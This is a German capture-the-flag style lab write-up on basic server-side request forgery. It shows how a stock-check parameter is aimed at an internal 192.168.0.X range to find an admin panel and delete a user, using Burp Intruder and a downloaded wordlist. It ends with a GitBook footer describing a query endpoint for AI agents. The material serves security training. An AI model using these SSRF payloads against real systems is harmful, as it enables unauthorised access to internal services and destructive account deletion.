> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssrf/basic-ssrf-against-internal-system.md).

# Grundlegendes SSRF gegen ein internes System

## Grundlegendes SSRF gegen ein anderes Backend-System

Dieses Labor bietet eine Funktion zur Lagerbestandsprüfung, die einen internen Dienst abfragt. / Das Ziel ist es, diesen Mechanismus zu nutzen, um den internen Adressbereich zu analysieren **192.168.0.X** auf der Suche nach einer Verwaltungsoberfläche auf dem Port **8080**, dann den Benutzer carlos löschen.

#### **Analyse und Ausnutzung**

* Das **stockApi** Parameter wird gesendet an **Intruder** um den Test der internen Adresse zu automatisieren:

```javascript
stockApi=http://192.168.0.§1§:8080/admin
```

<figure><img src="/files/86a63d668896d9595fee1f2ad9044aa96b53b65d" alt=""><figcaption></figcaption></figure>

Ein grober Brute-Force-Angriff wird auf die **254 möglichen Adressen** des internen Bereichs durchgeführt, alle mit dem Pfad /admin.

Ein Wertedictionary wird heruntergeladen, um den Angriff zu unterstützen:

```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```

* Nach dem Start des Angriffs, der **192.168.0.14** Adresse gibt einen \*\*HTTP-Statuscode 200\*\* zurück, was darauf hinweist, dass die Verwaltungsoberfläche zugänglich ist.

<figure><img src="/files/6916213f679b99345bb80904d3d667581510448c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/80062cf6aca0ad41b62a7830195704f97d4144c3" alt="" width="563"><figcaption></figcaption></figure>

#### **Löschen des Benutzers**

* Zugriff auf das Administrationspanel:

```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```

<figure><img src="/files/921840deb71a7e76745c568d52725baba541b2e7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/ssrf/basic-ssrf-against-internal-system.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
